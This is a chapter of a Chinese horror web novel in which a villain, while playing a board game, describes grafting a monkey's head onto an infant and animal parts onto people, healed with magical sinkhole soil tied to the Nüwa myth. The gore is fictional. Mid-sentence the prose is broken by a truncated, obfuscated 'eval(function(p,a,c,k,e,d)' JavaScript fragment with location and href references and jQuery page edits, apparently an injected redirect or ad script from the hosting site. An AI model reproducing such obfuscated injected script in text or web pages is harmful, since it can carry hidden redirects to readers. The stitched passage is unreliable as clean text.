48. 第 48 章

    “你知道,我做了什么吗?”


    侯郁垂下眼,手指搭在膝上轻敲几下,目光在棋盘上游走,忽然发现一个被忽略的角落,竟然有三颗黑棋已经连在了一起。


    “啪嗒”一声,他落下一颗白字,封死连成五颗的可能。


    “我把他那像热水袋一样的头,割了下来。”他抬起手,手指不自觉地微微一缩,仿佛还在回味那种温热柔软的触感,“然后,我给他缝上了猴子的脑袋。”


    脑中瞬间闪过张义的样子,祝玖不适地按住抽搐的胃,脑中各种思绪和情绪繁杂纷乱。


    那孩子就算是个畸形儿,那也是有着老头的血脉的人啊!老头把他当什么?


    随手就抛的玩物?实验品?


    侯郁语调轻快:“说实话,这只是我的突发奇想。本来也没指望他真的能活下来。”


    他停顿了一下,嘴角翘起一个更大的弧度,像是故意吊着她的胃口,眼中光芒跳跃:“但你猜怎么着?”


    烛光在半边脸上跳耀,他的目光自下而上掠过,带着某种病态的兴奋:“接上猴子脑袋后,他竟然还喘了几口气。”


    他刻意压低声音,语调里带着藏不住的愉悦:“虽然一直没能睁开眼,但也挣扎了三四个小时,才彻底没气儿。”


    “这事多稀奇啊!”


    侯郁咂了咂嘴,似乎回忆起那个猴头人身的小婴儿在手中渐渐没了气息时的样子,忽然向前探身,双肘压在桌上,挤成一条缝的眼睛睁到最大,直勾勾盯着祝玖:“你说,换成是你,碰到这么有趣的事,是不是也该仔细研究一下?多实验几次,说不定就能创造出新的物种呢?哈哈哈哈哈哈哈哈!”


    祝玖手指冰凉。


    她知道自己应该控制住自己的情绪,但胃里的翻腾感越来越强烈,仿佛有什么东西紧紧攥住了她的喉咙,让她几乎喘不过气。


    侯郁却意犹未尽,兴致勃勃地继续道:“更重要的是,我一直想探寻《山海经》中异兽真实的样子,但是一时半会找不到跳脱出‘天道’之外的方法。若是研究出什么成果,我就能试着按照《山海经》中的记载,自己动手,创造出异兽!”


    “当然啦,可能和它们真实的样子会有点出入。”他轻轻一叹,露出遗憾神色,“但,总能聊以慰藉嘛。”


    他话音未落,又轻描淡写地补充了一句:“反正我的实验体多的是。不够,让他们再生就是。”


    祝玖猛地攥紧了拳头,地下溶洞的阴气窜上后脊,冷汗丝丝冒了出来。


    “但是,几次实验下来,那些人即便能活下来,也会因为失血过多,或者感染等原因很快死去。”侯郁苦恼地摇了摇头,看祝玖放在桌下的手半天不动,催促她,“快落子啊,该你了。”


    祝玖心神不宁地随便下了一颗黑子。


    “要不说这里是我的一线生机呢。”侯郁摩挲着手中的棋子,认真研究着棋局,嘴上不停,“在这里,一切都是那么顺利,顺理成章到不可思议。”


    ——啪嗒。


    血滴落在地面,混杂着恶臭的汗水、尿液和腐肉的气味。


    用粗黑的线缝完最后一针,侯郁打了个结,起身退后两步,欣赏着地上的作品,缓缓点了点头。


    就是缝线处血液汩汩流着,像开了闸的洪水。


    地上的男人疼得五官扭曲,涕泗横流,嘴里发出含糊不清的哭嚎,身下是一滩脏污的失禁之物。


    侯郁抬手蹭掉溅到脸上的血,漫不经心地甩了甩手,准备去清理一下,再慢慢等这次实验的结果。


    回身走出几步,踩上原本坚实的地面,鞋底却一阵黏腻,脚缓缓陷了进去。


    侯郁一惊,连忙稳住身体,身体后仰,一屁股坐到后面坚硬的地面上。


    慢慢拔出已经没入一半的小腿,看着裤脚残留的红色湿痕,他惊讶地捻起一小坨湿软的烂泥,在指尖搓了搓。


    泥土在手中微微发黏,带着一丝粘稠的温热感。


    “那一刻,我脑中突然升起一个念头。”


    “女娲造人,用的是土啊!”


    侯郁盯着逐渐被红色的液体浸透,变成沼泽的一小块土地,鬼使神差地捧起一抔湿泥,覆到了实验品人体和皮毛衔接处的伤口上。


    “然后呢?”见侯郁似卖关子一样停顿,开始喝起了茶,祝玖忍不住追问。


    侯郁朝她挑了挑眉,起身走向石笋做成的柜子,从中抽出一本厚厚的本子,翻开第一页,递给祝玖。


    祝玖迟疑了片刻,接了过来。


    她低头看了一眼,就立刻紧闭双眼,手腕一翻,将本子“啪”一声合上。


    但是,她的记忆力该死的好,像留影机一样,将那张照片深深刻印在脑海中,纤毫毕现。


    黑白照片底色泛黄,一看就很古旧。正中的直立的男人,眼白微微浑浊,眼神极为呆滞,直愣愣盯着镜头,松垮的眼袋掉到了下巴。


    他上半身穿着破破烂烂的麻布衣,下半身却是粗壮的鹿腿。在交界处,锯齿般的缝合线像需要格外突出的奖状一般,赤裸裸地暴露着。缝合线之间,人皮和鹿皮被新长出细嫩的肉芽连接在一起,竟像是被笔刷渲染过渡了一下,并不生硬。


    这张照片非常像深夜论坛上恶趣味网友的p图,随便配上一段鹿腿男的都市传说,就能在网上广为流传。


    但却是真的。


    那本子突然变得很烫手,祝玖猛地将它远远甩到桌上,眼神乱晃,不敢落到那个本子上。


    但是它存在感极强,不管看向何处,都停留在她的余光中。


    有十多厘米厚,凌乱的纸页中,夹杂了数不清的照片。


    侯郁笑着坐回椅子,悠闲地端起茶杯:“我知道你想问什么。”


    “要是土那么神奇,那还要医生医院干什么?”


    祝玖腹诽,她根本没想问啊。


    她完全不想听这些只应该出现在恐怖电影里的老头个人传,跟她没有半点关系。但是这个变态现在一副讲到兴头上的样子,她要是贸然打断,谁知道他会做出什么。


    “我对此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15158272|161219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也很疑惑,所以反复实验了一下。”侯郁伸手拿起被祝玖甩开的厚本子,珍惜地拍了拍,“我发现,只有天坑里的土有这种功效。”


    “我就开始思考,这是为什么呢?”


    “你不是都说了,这个天坑是天道的漏洞?”祝玖忍不住开口,想赶紧跳过这一段,进入有关她自己的正题。


    侯郁勾了勾嘴角,一副了然于心,猜到她会那么说的样子,随后竖起一根手指摇了摇:“不仅如此。”


    “女娲抟土造人,重点是女娲,还是土?”侯郁问道,但根本不用祝玖回答,他自顾自就回答,“当然是女娲!”


    “这件事还得从头说起。”侯郁兴奋地搓了搓手,调整了一下坐姿。


    他伸出一只手,轻轻拂过棋盘,指尖划过那些排列整齐的黑白棋子。


    “共工与颛顼争夺帝位失败后,愤怒地撞向不周山——”


    “轰!”


    侯郁手臂一挥,棋盘上的棋子顿时四散跌落,黑白交错,横七竖八地滚到桌沿,几颗甚至掉到地上,发出清脆却冰冷的碎响。棋盘上黑白混杂,你中有我,我中有你,恰似天地秩序的崩塌,陷入一片混沌。


    天地倾塌,秩序崩毁,烈火烧灼大地,洪水吞噬生灵,天裂之处漆黑如渊,仿佛要将世界吞没。


    “为了修补因不周山倒塌而撕裂的苍穹,女娲炼五色石补天、斩鳌足立四极、用芦灰止洪水,最终平息了灾难,恢复了天地的基本秩序。”


    “听起来很简单,对吧?”侯郁挑了挑眉,语气却低了下来,像是感慨,“可书上寥寥数语的事情,真正做起来,可是要费尽心力的。”


    “女娲娘娘炼五色石时,烈火灼身,熬干心血!炼石的高温令她的肌肤开裂,一次次愈合,又一次次被烧伤。她斩下鳌足立四极时,天地间的巨力几乎将她压碎!撑住天地的刹那,她的骨骼寸寸断裂,血肉模糊。”


    “她以自身为祭,换来了天地的稳定。她的血,一点点滴落大地,让土地也蕴含了她的神力。”


    侯郁叹了口气,慢悠悠地将黑白棋子一颗一颗地分做两摞。


    “但是就算修补了天地秩序,天地的形态也已经固定了。”


    “‘天倾西北,故日月星辰移焉。’”


    侯郁捧起白子,一股脑倒进了放白棋的盒子里,发出一阵细碎的碰撞声。


    “‘地不满东南,故水潦尘埃归焉。’”


    他抬起棋盘的左上角,黑子顺着倾斜的角度,像水流冲刷地势,像命运自有倾向,毫无悬念地倾泻进右下角的黑棋盒。


    “于是,带着女娲神力的那些土,顺着水流、地势,一路往东南而来。”


    侯郁的手自左上到右下拂过棋盘表面,随后伸出一根手指插入棋盒中,搅动着密密麻麻的黑棋,“哗啦哗啦”的声音在溶洞里扩散,回响悠长。


    “然后,落入了某个深坑里,囤积了起来。”


    祝玖的视线一路跟随他的手指落到凹陷的棋盒中,心脏不受控制地重重跳了一下。